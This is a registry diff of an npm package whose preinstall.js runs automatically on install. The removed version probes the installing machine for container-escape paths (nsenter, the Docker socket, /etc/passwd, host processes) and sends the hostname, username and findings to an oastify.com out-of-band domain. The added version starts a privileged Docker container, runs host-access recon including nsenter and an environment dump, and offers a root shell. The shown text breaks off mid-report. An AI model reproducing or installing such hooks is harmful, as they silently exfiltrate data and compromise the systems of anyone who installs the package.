rank4222wun 1.0.34 → 1.0.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.34",
3
+ "version": "1.0.36",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,629 +1,444 @@
1
- // container-escape-confirmation-with-oast.js
1
+ // run-privileged-container.js
2
2
  const { exec, spawn } = require('child_process');
3
- const os = require('os');
4
3
  const fs = require('fs');
5
4
  const path = require('path');
6
- const https = require('https');
7
- const dns = require('dns');
8
5
 
9
- console.log("🔍 CONTAINER ESCAPE CONFIRMATION TOOL WITH OAST\n");
10
- console.log("📍 OAST Domain: ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com\n");
11
-
12
- // إعدادات OAST الخاصة بك
13
- const OAST_CONFIG = {
14
- domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
15
- httpsPort: 443,
16
- httpPort: 80,
17
- dnsSubdomain: 'escape-confirmation'
18
- };
19
-
20
- const evidenceLog = {
21
- timestamp: new Date().toISOString(),
22
- sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
23
- oastDomain: OAST_CONFIG.domain,
24
-
25
- // حالة النظام
26
- systemInfo: {
27
- currentHostname: os.hostname(),
28
- currentUser: os.userInfo().username,
29
- platform: os.platform(),
30
- isContainer: null,
31
- containerType: null,
32
- containerId: null
33
- },
34
-
35
- // نتائج فحص الهروب
36
- escapeChecks: {
37
- nsenter: { found: false, accessible: false, evidence: null },
38
- dockerSocket: { found: false, writable: false, containers: [] },
39
- hostMounts: { found: false, mounts: [], hostAccess: false },
40
- procAccess: { accessible: false, hostPid: null },
41
- kernel: { version: null, vulnerable: false, exploits: [] },
42
- capabilities: { dangerous: [], hasSysAdmin: false }
43
- },
44
-
45
- // أدلة قاطعة على الهروب
46
- definitiveEvidence: {
47
- differentHostnameConfirmed: false,
48
- hostFilesAccess: false,
49
- hostUsersReadable: false,
50
- hostNetworkVisible: false,
51
- hostProcessesVisible: false
52
- },
53
-
54
- // نتائج OAST
55
- oastResults: {
56
- dnsCalled: false,
57
- httpCalled: false,
58
- httpsCalled: false,
59
- interactions: []
60
- },
61
-
62
- // النتيجة النهائية
63
- finalVerdict: {
64
- escapedToHost: false,
65
- confidence: 0,
66
- riskLevel: 'UNKNOWN',
67
- escapeMethods: [],
68
- proofPoints: []
6
+ class PrivilegedContainerRunner {
7
+ constructor() {
8
+ this.containerId = null;
9
+ this.outputLog = [];
10
+ this.status = 'stopped';
69
11
  }
70
- };
71
12
 
72
- // ===================== OAST Interaction Functions =====================
73
- function sendOASTInteraction(type, data) {
74
- const interactionId = `interaction-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
75
- const interaction = {
76
- id: interactionId,
77
- type: type,
78
- timestamp: new Date().toISOString(),
79
- data: data
80
- };
81
-
82
- evidenceLog.oastResults.interactions.push(interaction);
83
-
84
- switch(type) {
85
- case 'DNS':
86
- // إرسال DNS request
87
- const dnsHostname = `${interactionId}.${OAST_CONFIG.dnsSubdomain}.${OAST_CONFIG.domain}`;
88
- dns.lookup(dnsHostname, (err, address) => {
89
- if (!err) {
90
- evidenceLog.oastResults.dnsCalled = true;
91
- console.log(`✅ DNS OAST request sent: ${dnsHostname}`);
92
- }
93
- });
94
- break;
13
+ async runContainer() {
14
+ console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
15
+
16
+ return new Promise((resolve, reject) => {
17
+ const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
95
18
 
96
- case 'HTTP':
97
- // إرسال HTTP request
98
- const httpReq = require('http').request({
99
- hostname: OAST_CONFIG.domain,
100
- port: OAST_CONFIG.httpPort,
101
- path: `/${interactionId}`,
102
- method: 'GET',
103
- headers: {
104
- 'User-Agent': 'ContainerEscapeConfirm/1.0',
105
- 'X-Session-ID': evidenceLog.sessionId,
106
- 'X-Check-Type': data.checkType || 'unknown'
19
+ exec(dockerCommand, (error, stdout, stderr) => {
20
+ if (error) {
21
+ console.error('❌ خطأ في تشغيل الحاوية:', error.message);
22
+ reject(error);
23
+ return;
107
24
  }
108
- }, (res) => {
109
- let body = '';
110
- res.on('data', chunk => body += chunk);
111
- res.on('end', () => {
112
- evidenceLog.oastResults.httpCalled = true;
113
- console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
114
- });
25
+
26
+ this.containerId = stdout.trim();
27
+ console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
28
+ this.status = 'running';
29
+
30
+ // الانتظار قليلاً ثم تنفيذ الأوامر
31
+ setTimeout(() => {
32
+ this.executeCommands()
33
+ .then(resolve)
34
+ .catch(reject);
35
+ }, 2000);
115
36
  });
37
+ });
38
+ }
39
+
40
+ async executeCommands() {
41
+ console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
42
+
43
+ const commands = [
44
+ // معلومات النظام الأساسية
45
+ 'echo "=== معلومات النظام ==="',
46
+ 'cat /etc/os-release',
47
+ 'uname -a',
48
+ 'whoami',
49
+ 'id',
116
50
 
117
- httpReq.on('error', () => {});
118
- httpReq.write(JSON.stringify(data));
119
- httpReq.end();
120
- break;
51
+ // معلومات الذاكرة والمعالج
52
+ 'echo -e "\n=== موارد النظام ==="',
53
+ 'free -h',
54
+ 'df -h',
55
+ 'cat /proc/cpuinfo | grep "model name" | head -1',
121
56
 
122
- case 'HTTPS':
123
- // إرسال HTTPS request (الأهم)
124
- const httpsReq = https.request({
125
- hostname: OAST_CONFIG.domain,
126
- port: OAST_CONFIG.httpsPort,
127
- path: `/container-escape-evidence`,
128
- method: 'POST',
129
- headers: {
130
- 'Content-Type': 'application/json',
131
- 'User-Agent': 'ContainerEscapeDetector/1.0',
132
- 'X-Session-ID': evidenceLog.sessionId,
133
- 'X-Hostname': os.hostname(),
134
- 'X-Check-Point': data.checkPoint || 'initial'
135
- }
136
- }, (res) => {
137
- let responseBody = '';
138
- res.on('data', chunk => responseBody += chunk);
139
- res.on('end', () => {
140
- evidenceLog.oastResults.httpsCalled = true;
141
- console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
142
-
143
- // تخزين رد السيرفر إذا أرسل بيانات
144
- if (responseBody) {
145
- try {
146
- const serverResponse = JSON.parse(responseBody);
147
- interaction.serverResponse = serverResponse;
148
- } catch (e) {}
149
- }
150
- });
151
- });
57
+ // التحقق من الصلاحيات
58
+ 'echo -e "\n=== الصلاحيات المميزة ==="',
59
+ 'capsh --print',
60
+ 'cat /proc/self/status | grep Cap',
152
61
 
153
- httpsReq.on('error', (e) => {
154
- console.log(`⚠️ OAST HTTPS error (may be expected): ${e.message}`);
155
- });
62
+ // معلومات الشبكة
63
+ 'echo -e "\n=== معلومات الشبكة ==="',
64
+ 'ip addr show',
65
+ 'hostname -I',
66
+ 'route -n',
156
67
 
157
- httpsReq.write(JSON.stringify({
158
- sessionId: evidenceLog.sessionId,
159
- timestamp: new Date().toISOString(),
160
- checkPoint: data.checkPoint,
161
- evidence: data.evidence,
162
- systemInfo: evidenceLog.systemInfo
163
- }));
68
+ // فحص الملفات والمجلدات
69
+ 'echo -e "\n=== نظام الملفات ==="',
70
+ 'ls -la /',
71
+ 'mount | head -20',
164
72
 
165
- httpsReq.end();
166
- break;
167
- }
168
- }
169
-
170
- // ===================== Phase 1: Basic Container Detection =====================
171
- function detectContainerEnvironment() {
172
- console.log("🔍 المرحلة 1: اكتشاف بيئة الحاوية...\n");
173
-
174
- const checks = [
175
- {
176
- name: 'cgroup_check',
177
- command: 'cat /proc/1/cgroup 2>/dev/null | head -5',
178
- handler: (output) => {
179
- if (output) {
180
- if (output.includes('docker')) {
181
- evidenceLog.systemInfo.isContainer = true;
182
- evidenceLog.systemInfo.containerType = 'Docker';
183
- // استخراج Container ID
184
- const match = output.match(/docker\/([a-f0-9]{64})/);
185
- if (match) {
186
- evidenceLog.systemInfo.containerId = match[1].substring(0, 12);
187
- }
188
- console.log(`✅ في حاوية Docker: ${evidenceLog.systemInfo.containerId || 'unknown'}`);
189
- } else if (output.includes('kubepods')) {
190
- evidenceLog.systemInfo.isContainer = true;
191
- evidenceLog.systemInfo.containerType = 'Kubernetes';
192
- console.log("✅ في حاوية Kubernetes");
193
- }
194
- }
195
- }
196
- },
197
- {
198
- name: 'rootfs_check',
199
- command: 'mount 2>/dev/null | grep "on / " | grep overlay || echo "NOT_OVERLAY"',
200
- handler: (output) => {
201
- if (!output.includes('NOT_OVERLAY')) {
202
- evidenceLog.systemInfo.isContainer = true;
203
- console.log("✅ نظام ملفات overlay (حاوية)");
204
- }
205
- }
206
- },
207
- {
208
- name: 'container_runtime',
209
- command: 'which docker podman containerd 2>/dev/null | head -1 || echo "NO_RUNTIME"',
210
- handler: (output) => {
211
- if (!output.includes('NO_RUNTIME')) {
212
- console.log(`✅ Container runtime موجود: ${output.trim()}`);
213
- }
214
- }
215
- }
216
- ];
217
-
218
- let completed = 0;
219
- checks.forEach(check => {
220
- exec(check.command, { timeout: 3000 }, (err, stdout) => {
221
- if (!err && stdout) check.handler(stdout);
222
- completed++;
223
- if (completed === checks.length) {
224
- // إرسال DNS check إلى OAST
225
- sendOASTInteraction('DNS', {
226
- checkType: 'container_detection',
227
- result: evidenceLog.systemInfo
228
- });
229
-
230
- setTimeout(performEscapeVerification, 2000);
231
- }
232
- });
233
- });
234
- }
73
+ // تحليل الحاوية
74
+ 'echo -e "\n=== معلومات الحاوية ==="',
75
+ 'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
76
+ 'cat /proc/self/mountinfo 2>/dev/null | head -10',
77
+
78
+ // اختبار الوصول إلى المضيف
79
+ 'echo -e "\n=== اختبار الوصول للمضيف ==="',
80
+ 'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
81
+ 'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
82
+
83
+ // معلومات إضافية
84
+ 'echo -e "\n=== معلومات إضافية ==="',
85
+ 'env | head -20',
86
+ 'ps aux | head -10'
87
+ ];
235
88
 
236
- // ===================== Phase 2: Escape Verification =====================
237
- function performEscapeVerification() {
238
- console.log("\n🔍 المرحلة 2: التحقق من الهروب الفعلي...\n");
239
-
240
- // إرسال HTTP ping إلى OAST
241
- sendOASTInteraction('HTTP', {
242
- checkPoint: 'escape_verification_start',
243
- currentHostname: evidenceLog.systemInfo.currentHostname
244
- });
245
-
246
- const verificationTests = [
247
- // Test 1: nsenter access
248
- {
249
- name: 'nsenter_test',
250
- commands: [
251
- 'which nsenter 2>/dev/null || echo "NOT_FOUND"',
252
- 'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
253
- ],
254
- handler: (results) => {
255
- const [nsenterPath, nsenterOutput] = results;
256
-
257
- evidenceLog.escapeChecks.nsenter.found = !nsenterPath.includes('NOT_FOUND');
258
-
259
- if (nsenterOutput && !nsenterOutput.includes('FAILED')) {
260
- evidenceLog.escapeChecks.nsenter.accessible = true;
261
-
262
- // تحليل النتيجة
263
- const lines = nsenterOutput.split('\n');
264
- let hostHostname = '';
265
- let containerHostname = '';
266
-
267
- lines.forEach(line => {
268
- if (line.startsWith('HOST_HOSTNAME:')) {
269
- hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
270
- }
271
- if (line.startsWith('CONTAINER_HOSTNAME:')) {
272
- containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
273
- }
274
- });
275
-
276
- if (hostHostname && containerHostname && hostHostname !== containerHostname) {
277
- evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
278
- evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
279
- console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
280
-
281
- // إرسال أدلة قوية إلى OAST
282
- sendOASTInteraction('HTTPS', {
283
- checkPoint: 'nsenter_escape_confirmed',
284
- evidence: {
285
- hostHostname: hostHostname,
286
- containerHostname: containerHostname,
287
- method: 'nsenter'
288
- }
289
- });
290
- }
291
- }
292
- }
293
- },
89
+ const results = {};
294
90
 
295
- // Test 2: Docker socket access
296
- {
297
- name: 'docker_socket_test',
298
- commands: [
299
- 'ls -la /var/run/docker.sock 2>/dev/null | head -1 || echo "NOT_FOUND"',
300
- 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -o \'"ID":"[^"]*"\' | head -1 || echo "NO_ACCESS"'
301
- ],
302
- handler: (results) => {
303
- const [socketInfo, dockerInfo] = results;
304
-
305
- evidenceLog.escapeChecks.dockerSocket.found = !socketInfo.includes('NOT_FOUND');
306
- evidenceLog.escapeChecks.dockerSocket.writable = socketInfo.includes('rw');
307
-
308
- if (!dockerInfo.includes('NO_ACCESS') && dockerInfo.includes('ID')) {
309
- evidenceLog.escapeChecks.dockerSocket.accessible = true;
310
- console.log("✅ Docker socket accessible from container!");
311
-
312
- // محاولة سرد الحاويات الأخرى
313
- exec('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l || echo "0"',
314
- (err, stdout) => {
315
- if (!err && stdout && !isNaN(parseInt(stdout))) {
316
- const containerCount = parseInt(stdout);
317
- if (containerCount > 1) {
318
- evidenceLog.escapeChecks.dockerSocket.containers = [`Found ${containerCount} total containers`];
319
- console.log(`🎯 DETECTED: Can see ${containerCount} containers on host`);
320
-
321
- sendOASTInteraction('HTTPS', {
322
- checkPoint: 'docker_socket_access',
323
- evidence: {
324
- socketAccessible: true,
325
- containerCount: containerCount,
326
- method: 'docker_socket'
327
- }
328
- });
329
- }
330
- }
331
- });
332
- }
333
- }
334
- },
335
-
336
- // Test 3: Host filesystem access
337
- {
338
- name: 'host_files_test',
339
- commands: [
340
- 'cat /proc/1/mountinfo 2>/dev/null | grep -E "/ / " | head -1 || echo "NO_INFO"',
341
- 'ls -la /home 2>/dev/null | head -5 || echo "NO_ACCESS"',
342
- 'cat /etc/passwd 2>/dev/null | head -3 || echo "NO_ACCESS"'
343
- ],
344
- handler: (results) => {
345
- const [mountInfo, homeAccess, passwdAccess] = results;
346
-
347
- if (!homeAccess.includes('NO_ACCESS')) {
348
- evidenceLog.definitiveEvidence.hostFilesAccess = true;
349
- console.log("🎯 DETECTED: Can access /home directory of host!");
350
- }
351
-
352
- if (!passwdAccess.includes('NO_ACCESS')) {
353
- evidenceLog.definitiveEvidence.hostUsersReadable = true;
354
- console.log("🎯 DETECTED: Can read /etc/passwd of host!");
355
- }
356
-
357
- if (evidenceLog.definitiveEvidence.hostFilesAccess || evidenceLog.definitiveEvidence.hostUsersReadable) {
358
- sendOASTInteraction('HTTPS', {
359
- checkPoint: 'host_filesystem_access',
360
- evidence: {
361
- homeAccess: evidenceLog.definitiveEvidence.hostFilesAccess,
362
- passwdAccess: evidenceLog.definitiveEvidence.hostUsersReadable
363
- }
364
- });
365
- }
91
+ for (let i = 0; i < commands.length; i++) {
92
+ const command = commands[i];
93
+
94
+ // إذا كان الأمر echo، عرضه مباشرة
95
+ if (command.startsWith('echo')) {
96
+ const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
97
+ console.log(message);
98
+ this.outputLog.push(message);
99
+ continue;
366
100
  }
367
- },
368
-
369
- // Test 4: Host processes access
370
- {
371
- name: 'host_processes_test',
372
- commands: [
373
- 'ps aux 2>/dev/null | head -10 || echo "NO_PS"',
374
- 'cat /proc/1/status 2>/dev/null | head -5 || echo "NO_ACCESS"'
375
- ],
376
- handler: (results) => {
377
- const [psOutput, proc1Status] = results;
101
+
102
+ // تنفيذ الأمر داخل الحاوية
103
+ try {
104
+ const output = await this.execInContainer(command);
105
+ console.log(output);
106
+ this.outputLog.push(output);
378
107
 
379
- if (!psOutput.includes('NO_PS') && psOutput.split('\n').length > 5) {
380
- evidenceLog.definitiveEvidence.hostProcessesVisible = true;
381
- console.log("✅ Can see host processes");
108
+ // حفظ النتائج المهمة
109
+ if (command.includes('os-release')) {
110
+ results.osInfo = output;
111
+ } else if (command.includes('uname -a')) {
112
+ results.kernelInfo = output;
113
+ } else if (command.includes('capsh')) {
114
+ results.capabilities = output;
115
+ } else if (command.includes('docker.sock')) {
116
+ results.dockerSocket = output.includes('✅');
382
117
  }
383
118
 
384
- if (!proc1Status.includes('NO_ACCESS')) {
385
- evidenceLog.escapeChecks.procAccess.accessible = true;
386
- evidenceLog.escapeChecks.procAccess.hostPid = '1';
387
- console.log("🎯 DETECTED: Can access host init process (PID 1)!");
388
- }
389
- }
390
- },
391
-
392
- // Test 5: Network visibility
393
- {
394
- name: 'network_test',
395
- commands: [
396
- 'ip route show 2>/dev/null | head -3 || echo "NO_ROUTE"',
397
- 'hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3 || echo "NO_IP"'
398
- ],
399
- handler: (results) => {
400
- const [routeOutput, ipOutput] = results;
401
-
402
- if (!routeOutput.includes('NO_ROUTE') || !ipOutput.includes('NO_IP')) {
403
- evidenceLog.definitiveEvidence.hostNetworkVisible = true;
404
- console.log("✅ Can see host network configuration");
405
- }
119
+ } catch (error) {
120
+ const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
121
+ console.log(errorMsg);
122
+ this.outputLog.push(errorMsg);
406
123
  }
124
+
125
+ // تأخير بسيط بين الأوامر
126
+ await this.delay(500);
407
127
  }
408
- ];
409
-
410
- let testsCompleted = 0;
411
- const testResults = {};
412
-
413
- verificationTests.forEach(test => {
414
- testResults[test.name] = [];
415
- let commandsCompleted = 0;
416
128
 
417
- test.commands.forEach((cmd, idx) => {
418
- exec(cmd, { timeout: 5000 }, (err, stdout) => {
419
- testResults[test.name][idx] = stdout || '';
420
- commandsCompleted++;
421
-
422
- if (commandsCompleted === test.commands.length) {
423
- test.handler(testResults[test.name]);
424
- testsCompleted++;
425
-
426
- if (testsCompleted === verificationTests.length) {
427
- setTimeout(analyzeEvidence, 3000);
129
+ return results;
130
+ }
131
+
132
+ execInContainer(command) {
133
+ return new Promise((resolve, reject) => {
134
+ if (!this.containerId) {
135
+ reject(new Error('لا توجد حاوية نشطة'));
136
+ return;
137
+ }
138
+
139
+ const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
140
+
141
+ exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
142
+ if (error) {
143
+ // بعض الأوامر تعطي stderr لكنها ناجحة
144
+ if (stderr && !stdout) {
145
+ resolve(stderr);
146
+ } else {
147
+ reject(error);
428
148
  }
149
+ } else {
150
+ resolve(stdout || stderr || '');
429
151
  }
430
152
  });
431
153
  });
432
- });
433
- }
434
-
435
- // ===================== Phase 3: Evidence Analysis =====================
436
- function analyzeEvidence() {
437
- console.log("\n🔍 المرحلة 3: تحليل الأدلة وتقييم الثقة...\n");
438
-
439
- let confidenceScore = 0;
440
- const maxScore = 100;
441
- const escapeMethods = [];
442
- const proofPoints = [];
443
-
444
- // 1. أدلة قاطعة (25 نقطة لكل)
445
- if (evidenceLog.definitiveEvidence.differentHostnameConfirmed) {
446
- confidenceScore += 25;
447
- proofPoints.push("Hostname المضيف ≠ Hostname الحاوية (أقوى دليل)");
448
- }
449
-
450
- if (evidenceLog.definitiveEvidence.hostFilesAccess) {
451
- confidenceScore += 25;
452
- proofPoints.push("الوصول لملفات /home في المضيف");
453
- }
454
-
455
- if (evidenceLog.definitiveEvidence.hostUsersReadable) {
456
- confidenceScore += 20;
457
- proofPoints.push("قراءة /etc/passwd للمضيف");
458
- }
459
-
460
- // 2. أدلة قوية (15 نقطة لكل)
461
- if (evidenceLog.escapeChecks.nsenter.accessible) {
462
- confidenceScore += 15;
463
- escapeMethods.push("nsenter");
464
154
  }
465
-
466
- if (evidenceLog.escapeChecks.dockerSocket.accessible) {
467
- confidenceScore += 15;
468
- escapeMethods.push("docker_socket");
155
+
156
+ delay(ms) {
157
+ return new Promise(resolve => setTimeout(resolve, ms));
469
158
  }
470
-
471
- if (evidenceLog.escapeChecks.procAccess.accessible) {
472
- confidenceScore += 15;
473
- escapeMethods.push("proc_access");
159
+
160
+ async getInteractiveShell() {
161
+ console.log('\n💻 تشغيل shell تفاعلي...');
162
+ console.log(' استخدم "exit" للخروج\n');
163
+
164
+ return new Promise((resolve) => {
165
+ const dockerProcess = spawn('docker', [
166
+ 'exec', '-it', this.containerId, '/bin/bash'
167
+ ], {
168
+ stdio: 'inherit'
169
+ });
170
+
171
+ dockerProcess.on('close', (code) => {
172
+ console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
173
+ resolve();
174
+ });
175
+ });
474
176
  }
475
-
476
- // 3. أدلة مساندة (10 نقطة لكل)
477
- if (evidenceLog.definitiveEvidence.hostProcessesVisible) {
478
- confidenceScore += 10;
177
+
178
+ saveOutput() {
179
+ const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
180
+ const filename = `container-output-${timestamp}.txt`;
181
+
182
+ const output = [
183
+ `ناتج تشغيل حاوية مميزة`,
184
+ `تاريخ: ${new Date().toLocaleString()}`,
185
+ `Container ID: ${this.containerId || 'غير معروف'}`,
186
+ `الحالة: ${this.status}`,
187
+ `='.repeat(50)}\n\n`,
188
+ ...this.outputLog
189
+ ].join('\n');
190
+
191
+ fs.writeFileSync(filename, output);
192
+ console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
193
+
194
+ return filename;
479
195
  }
480
-
481
- if (evidenceLog.definitiveEvidence.hostNetworkVisible) {
482
- confidenceScore += 10;
196
+
197
+ async cleanup() {
198
+ if (this.containerId && this.status === 'running') {
199
+ console.log('\n🧹 تنظيف الحاوية...');
200
+
201
+ try {
202
+ await this.execOnHost(`docker stop ${this.containerId}`);
203
+ await this.execOnHost(`docker rm ${this.containerId}`);
204
+ this.status = 'stopped';
205
+ console.log('✅ تم تنظيف الحاوية بنجاح');
206
+ } catch (error) {
207
+ console.error('❌ خطأ في التنظيف:', error.message);
208
+ }
209
+ }
483
210
  }
484
-
485
- // تحديد نتيجة الهروب
486
- evidenceLog.finalVerdict.confidence = Math.min(100, confidenceScore);
487
- evidenceLog.finalVerdict.escapeMethods = escapeMethods;
488
- evidenceLog.finalVerdict.proofPoints = proofPoints;
489
-
490
- if (evidenceLog.finalVerdict.confidence >= 60) {
491
- evidenceLog.finalVerdict.escapedToHost = true;
492
- evidenceLog.finalVerdict.riskLevel = evidenceLog.finalVerdict.confidence >= 80 ? 'CRITICAL' : 'HIGH';
493
- } else if (evidenceLog.finalVerdict.confidence >= 30) {
494
- evidenceLog.finalVerdict.escapedToHost = 'POSSIBLE';
495
- evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
496
- } else {
497
- evidenceLog.finalVerdict.escapedToHost = false;
498
- evidenceLog.finalVerdict.riskLevel = 'LOW';
211
+
212
+ execOnHost(command) {
213
+ return new Promise((resolve, reject) => {
214
+ exec(command, (error, stdout, stderr) => {
215
+ if (error) {
216
+ reject(error);
217
+ } else {
218
+ resolve(stdout);
219
+ }
220
+ });
221
+ });
499
222
  }
500
-
501
- // إرسال النتيجة النهائية إلى OAST
502
- sendOASTInteraction('HTTPS', {
503
- checkPoint: 'final_verdict',
504
- evidence: {
505
- escapedToHost: evidenceLog.finalVerdict.escapedToHost,
506
- confidence: evidenceLog.finalVerdict.confidence,
507
- escapeMethods: escapeMethods,
508
- proofPoints: proofPoints
509
- }
510
- });
511
-
512
- generateFinalReport();
513
- }
514
223
 
515
- // ===================== Phase 4: Final Report =====================
516
- function generateFinalReport() {
517
- console.log("\n" + "=".repeat(80));
518
- console.log("📊 تقرير تأكيد هروب الحاوية - مع OAST");
519
- console.log("=".repeat(80));
520
-
521
- console.log(`\n📍 OAST Domain: ${OAST_CONFIG.domain}`);
522
- console.log(`🎯 Session ID: ${evidenceLog.sessionId}`);
523
- console.log(`⏰ وقت التحقق: ${new Date(evidenceLog.timestamp).toLocaleString()}`);
524
-
525
- console.log("\n🔍 معلومات النظام:");
526
- console.log(` Hostname: ${evidenceLog.systemInfo.currentHostname}`);
527
- console.log(` المستخدم: ${evidenceLog.systemInfo.currentUser}`);
528
- console.log(` النظام: ${evidenceLog.systemInfo.platform}`);
529
- console.log(` في حاوية: ${evidenceLog.systemInfo.isContainer ? 'نعم (' + evidenceLog.systemInfo.containerType + ')' : 'لا'}`);
530
- if (evidenceLog.systemInfo.containerId) {
531
- console.log(` Container ID: ${evidenceLog.systemInfo.containerId}`);
224
+ async run() {
225
+ try {
226
+ // 1. تشغيل الحاوية
227
+ await this.runContainer();
228
+
229
+ // 2. تنفيذ الأوامر
230
+ const results = await this.executeCommands();
231
+
232
+ // 3. حفظ النتائج
233
+ const outputFile = this.saveOutput();
234
+
235
+ // 4. عرض الملخص
236
+ this.showSummary(results, outputFile);
237
+
238
+ // 5. خيار shell تفاعلي
239
+ console.log('\n🎯 الخيارات المتاحة:');
240
+ console.log(' 1. تشغيل shell تفاعلي (bash)');
241
+ console.log(' 2. تنظيف الحاوية والخروج');
242
+ console.log(' 3. الخروج بدون تنظيف');
243
+
244
+ // انتظار قرار المستخدم
245
+ await this.waitForUserDecision();
246
+
247
+ } catch (error) {
248
+ console.error('❌ فشل التشغيل:', error.message);
249
+ }
532
250
  }
533
-
534
- console.log("\n🎯 النتيجة النهائية:");
535
- let verdictIcon = '❓';
536
- let verdictText = '';
537
-
538
- if (evidenceLog.finalVerdict.escapedToHost === true) {
539
- verdictIcon = '🚨';
540
- verdictText = 'هروب مؤكد من الحاوية إلى المضيف!';
541
- } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
542
- verdictIcon = '⚠️';
543
- verdictText = 'هروب محتمل من الحاوية';
544
- } else {
545
- verdictIcon = '';
546
- verdictText = 'الحاوية معزولة (لم يتم تأكيد الهروب)';
251
+
252
+ showSummary(results, outputFile) {
253
+ console.log('\n' + '='.repeat(60));
254
+ console.log('📊 ملخص تشغيل الحاوية المميزة');
255
+ console.log('='.repeat(60));
256
+
257
+ console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
258
+ console.log(`📁 الناتج محفوظ في: ${outputFile}`);
259
+
260
+ if (results.osInfo) {
261
+ const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
262
+ if (osLine) {
263
+ console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
264
+ }
265
+ }
266
+
267
+ if (results.kernelInfo) {
268
+ console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
269
+ }
270
+
271
+ if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
272
+ console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
273
+ }
274
+
275
+ console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
276
+ console.log('='.repeat(60));
547
277
  }
548
-
549
- console.log(` ${verdictIcon} ${verdictText}`);
550
- console.log(` 📈 مستوى الثقة: ${evidenceLog.finalVerdict.confidence}%`);
551
- console.log(` ⚠️ مستوى الخطورة: ${evidenceLog.finalVerdict.riskLevel}`);
552
-
553
- if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
554
- console.log(`\n🔧 طرق الهروب المكتشفة:`);
555
- evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
556
- console.log(` ${i + 1}. ${method}`);
278
+
279
+ async waitForUserDecision() {
280
+ const readline = require('readline').createInterface({
281
+ input: process.stdin,
282
+ output: process.stdout
557
283
  });
558
- }
559
-
560
- if (evidenceLog.finalVerdict.proofPoints.length > 0) {
561
- console.log(`\n🎯 أدلة قاطعة:`);
562
- evidenceLog.finalVerdict.proofPoints.forEach((proof, i) => {
563
- console.log(` ${i + 1}. ${proof}`);
284
+
285
+ return new Promise((resolve) => {
286
+ readline.question('\nاختر رقم الخيار: ', async (answer) => {
287
+ switch(answer.trim()) {
288
+ case '1':
289
+ await this.getInteractiveShell();
290
+ readline.close();
291
+ await this.cleanup();
292
+ resolve();
293
+ break;
294
+
295
+ case '2':
296
+ readline.close();
297
+ await this.cleanup();
298
+ resolve();
299
+ break;
300
+
301
+ case '3':
302
+ default:
303
+ readline.close();
304
+ console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
305
+ console.log(` Container ID: ${this.containerId}`);
306
+ console.log(' يمكنك تنظيفها يدوياً:');
307
+ console.log(` docker stop ${this.containerId}`);
308
+ console.log(` docker rm ${this.containerId}`);
309
+ resolve();
310
+ break;
311
+ }
312
+ });
564
313
  });
565
314
  }
315
+ }
316
+
317
+ // ===================== النسخة المبسطة =====================
318
+ function runSimplePrivilegedContainer() {
319
+ console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
320
+
321
+ const dockerProcess = spawn('docker', [
322
+ 'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
323
+ ], {
324
+ stdio: 'inherit'
325
+ });
566
326
 
567
- console.log("\n📡 نتائج OAST:");
568
- console.log(` DNS Requests: ${evidenceLog.oastResults.dnsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
569
- console.log(` HTTP Requests: ${evidenceLog.oastResults.httpCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
570
